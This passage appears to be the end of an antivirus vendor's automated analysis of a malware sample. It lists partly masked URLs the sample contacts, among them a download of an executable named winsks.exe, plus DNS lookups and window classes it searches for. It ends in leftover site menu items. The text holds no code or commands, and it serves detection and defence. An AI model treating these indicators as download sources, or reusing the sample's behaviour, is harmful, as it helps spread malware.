im###.hnol.net/c/2013-06/12/20/20130612204053851-3544694.png
im###.hnol.net/c/2013-06/12/20/20130612204053683-3544694.png
im###.hnol.net/c/swf/2013-06/12/20/201306122047531621-3544694.swf
im###.hnol.net/c/2013-06/12/20/20130612203852935-3544694.png
im###.hnol.net/c/2013-06/12/20/20130612203852724-3544694.png
im###.hnol.net/c/swf/2013-06/12/20/201306122048316531-3544694.swf
im###.hnol.net/c/2013-06/12/20/201306122040537346-3544694.png
im###.hnol.net/c/2013-06/12/20/20130612204053435-3544694.png
im###.hnol.net/c/2013-06/12/20/201306122040532727-3544694.png
im###.hnol.net/c/2013-06/12/20/201306122040537852-3544694.png
im###.hnol.net/c/2013-06/12/20/20130612204053374-3544694.png
im###.hnol.net/c/swf/2013-07/18/12/201307181231418131-3544694.swf
im###.hnol.net/c/2013-06/12/20/201306122037258431-3544694.png
im###.hnol.net/c/2013-06/12/20/20130612203726162-3544694.png
im###.hnol.net/c/swf/2013-06/12/20/201306122051272951-3544694.swf
bo.###a.net:8080/pagetracer2/duba/__utm.gif?01#########################################################################################################
up####.clanmark.com/kutian/updata/winsks.exe
im###.hnol.net/c/swf/2013-06/12/20/201306122052242141-3544694.swf
im###.hnol.net/c/2013-06/12/20/201306122038516432-3544694.png
im###.hnol.net/c/2013-06/12/20/201306122038515183-3544694.png
im###.hnol.net/c/swf/2013-06/12/20/20130612205154311-3544694.swf
im###.hnol.net/c/2013-06/12/20/201306122037265143-3544694.png
im###.hnol.net/c/2013-06/12/20/201306122038515111-3544694.png
im###.hnol.net/c/swf/2013-06/12/20/20130612205253581-3544694.swf

UDP:

DNS ASK www.23##.com
DNS ASK bb#.#345.com
DNS ASK se#####.clanmark.com
DNS ASK 12#.am
DNS ASK x.#o
DNS ASK bb#.2345.cn
DNS ASK i.###ula.com
DNS ASK im###.hnol.net
DNS ASK up####.clanmark.com
DNS ASK bo.###a.net:8080
DNS ASK v1.#jian.cc
DNS ASK v3.##athis.com
DNS ASK pi#.#npic.com

Miscellaneous:

Searches for the following windows:

ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
ClassName: 'Shell_TrayWnd' WindowName: '(null)'
ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
ClassName: '(null)' WindowName: '(null)'
ClassName: '' WindowName: '(null)'

Technologies

Begriffe

Schulung und Training

Mythen

Technical Information

Curing recommendations

Free trial